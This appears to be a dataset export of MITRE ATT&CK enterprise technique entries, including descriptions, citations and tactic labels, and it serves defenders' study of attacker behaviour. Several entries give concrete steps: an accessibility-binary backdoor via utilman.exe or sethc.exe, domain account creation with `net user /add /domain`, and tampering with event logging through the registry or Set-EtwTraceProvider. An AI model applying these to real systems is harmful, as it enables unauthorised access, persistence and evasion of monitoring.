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Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)
Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). | enterprise-attack | Search Engines | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1593/002 external_id: T1593.002 source_name: SecurityTrails Google Hacking description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020. url: https://securitytrails.com/blog/google-hacking-techniques source_name: ExploitDB GoogleHacking description: Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020. url: https://www.exploit-db.com/google-hacking-database | kill_chain_name: mitre-attack phase_name: reconnaissance | PRE |
Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.
Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | enterprise-attack | Business Relationships | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1591/002 external_id: T1591.002 source_name: ThreatPost Broadvoice Leak description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020. url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/ | kill_chain_name: mitre-attack phase_name: reconnaissance | PRE |
Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.
Just-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Azure Just in Time Access 2023)
Account impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts.(Citation: Google Cloud Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange)
Many cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)
While users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)
**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022) | enterprise-attack | Temporary Elevated Cloud Access | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/005 external_id: T1548.005 source_name: AWS PassRole description: AWS. (n.d.). Granting a user permissions to pass a role to an AWS service. Retrieved July 10, 2023. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html source_name: CrowdStrike StellarParticle January 2022 description: CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022. url: https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/ source_name: Google Cloud Just in Time Access 2023 description: Google Cloud. (n.d.). Manage just-in-time privileged access to projects. Retrieved September 21, 2023. url: https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project source_name: Google Cloud Service Account Authentication Roles description: Google Cloud. (n.d.). Roles for service account authentication. Retrieved July 10, 2023. url: https://cloud.google.com/iam/docs/service-account-permissions source_name: Microsoft Impersonation and EWS in Exchange description: Microsoft. (2022, September 13). Impersonation and EWS in Exchange. Retrieved July 10, 2023. url: https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange source_name: Azure Just in Time Access 2023 description: Microsoft. (2023, August 29). Configure and approve just-in-time access for Azure Managed Applications. Retrieved September 21, 2023. url: https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access source_name: Rhino Security Labs AWS Privilege Escalation description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022. url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ source_name: Rhino Google Cloud Privilege Escalation description: Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform – Part 1 (IAM). Retrieved September 21, 2023. url: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ source_name: Hunters Domain Wide Delegation Google Workspace 2023 description: Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe design flaw in Domain Wide Delegation could leave Google Workspace vulnerable for takeover. Retrieved January 16, 2024. url: https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover source_name: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023 description: Zohar Zigdon. (2023, November 30). Exploring a Critical Risk in Google Workspace's Domain-Wide Delegation Feature. Retrieved January 16, 2024. url: https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/ | kill_chain_name: mitre-attack phase_name: defense-evasion | IaaS |
An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.
In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review) | enterprise-attack | Video Capture | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1125 external_id: T1125 source_name: objective-see 2017 review description: Patrick Wardle. (n.d.). Retrieved March 20, 2018. url: https://objective-see.com/blog/blog_0x25.html | kill_chain_name: mitre-attack phase_name: collection | Windows |
Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
* Load – Create a shared section of memory and load the malicious executable.
* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
* Animate – Create a process from the tainted section of memory and initiate execution.
This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. | enterprise-attack | Process Doppelgänging | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055/013 external_id: T1055.013 source_name: Microsoft TxF description: Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017. url: https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx source_name: Microsoft Basic TxF Concepts description: Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017. url: https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx source_name: Microsoft Where to use TxF description: Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017. url: https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx source_name: BlackHat Process Doppelgänging Dec 2017 description: Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017. url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf source_name: hasherezade Process Doppelgänging Dec 2017 description: hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017. url: https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/ source_name: Microsoft PsSetCreateProcessNotifyRoutine routine description: Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017. url: https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx | kill_chain_name: mitre-attack phase_name: privilege-escalation | Windows |
Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).
Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )
Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. | enterprise-attack | System Network Configuration Discovery | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1016 external_id: T1016 source_name: Mandiant APT41 Global Intrusion description: Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022. url: https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A | kill_chain_name: mitre-attack phase_name: discovery | Linux |
An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.
An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020) | enterprise-attack | Delete Cloud Instance | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1578/003 external_id: T1578.003 source_name: Mandiant M-Trends 2020 description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. url: https://content.fireeye.com/m-trends/rpt-m-trends-2020 source_name: AWS CloudTrail Search description: Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020. url: https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/ source_name: Azure Activity Logs description: Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020. url: https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs source_name: Cloud Audit Logs description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020. url: https://cloud.google.com/logging/docs/audit#admin-activity | kill_chain_name: mitre-attack phase_name: defense-evasion | IaaS |
Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.
Adversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).
**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories. | enterprise-attack | Code Repositories | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1593/003 external_id: T1593.003 source_name: GitHub Cloud Service Credentials description: Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved August 9, 2022. url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/ | kill_chain_name: mitre-attack phase_name: reconnaissance | PRE |
Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. | enterprise-attack | Executable Installer File Permissions Weakness | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/005 external_id: T1574.005 source_name: mozilla_sec_adv_2012 description: Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017. url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/ source_name: Executable Installers are Vulnerable description: Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014. url: https://seclists.org/fulldisclosure/2015/Dec/34 | kill_chain_name: mitre-attack phase_name: defense-evasion | Windows |
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)
Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.
For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)
* On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
* Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
* Narrator: <code>C:\Windows\System32\Narrator.exe</code>
* Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
* App Switcher: <code>C:\Windows\System32\AtBroker.exe</code> | enterprise-attack | Accessibility Features | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/008 external_id: T1546.008 source_name: Narrator Accessibility Abuse description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020. url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html source_name: FireEye Hikit Rootkit description: Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016. url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html source_name: DEFCON2016 Sticky Keys description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017. url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom source_name: Tilbury 2014 description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014. url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ | kill_chain_name: mitre-attack phase_name: persistence | Windows |
Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.
For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files. | enterprise-attack | Account Discovery | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1087 external_id: T1087 source_name: AWS List Users description: Amazon. (n.d.). List Users. Retrieved August 11, 2020. url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html source_name: Google Cloud - IAM Servie Accounts List API description: Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020. url: https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list source_name: Elastic - Koadiac Detection with EQL description: Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020. url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql | kill_chain_name: mitre-attack phase_name: discovery | Windows |
Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic. | enterprise-attack | Proxy | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1090 external_id: T1090 source_name: Trend Micro APT Attack Tools description: Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015. url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf | kill_chain_name: mitre-attack phase_name: command-and-control | Linux |
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).
Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python) | enterprise-attack | Command and Scripting Interpreter | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059 external_id: T1059 source_name: Remote Shell Execution in Python description: Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021. url: https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python source_name: Cisco IOS Software Integrity Assurance - Command History description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020. url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 source_name: Powershell Remote Commands description: Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021. url: https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1 | kill_chain_name: mitre-attack phase_name: execution | Linux |
An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).
For example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security</code> to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging)
ETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.
In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.
In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck). | enterprise-attack | Indicator Blocking | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/006 external_id: T1562.006 source_name: disable_win_evt_logging description: Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022. url: https://ptylu.github.io/content/report/report.html?report=25 source_name: LemonDuck description: Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining Operations. Retrieved June 30, 2022. url: https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/ source_name: Microsoft Lamin Sept 2017 description: Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018. url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A source_name: Microsoft About Event Tracing 2018 description: Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019. url: https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events source_name: Medium Event Tracing Tampering 2018 description: Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019. url: https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63 | kill_chain_name: mitre-attack phase_name: defense-evasion | Windows |
Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. | enterprise-attack | Domain Account | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1136/002 external_id: T1136.002 source_name: Microsoft User Creation Event description: Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720 source_name: Savill 1999 description: Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015. url: https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference | kill_chain_name: mitre-attack phase_name: persistence | Windows |
Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.
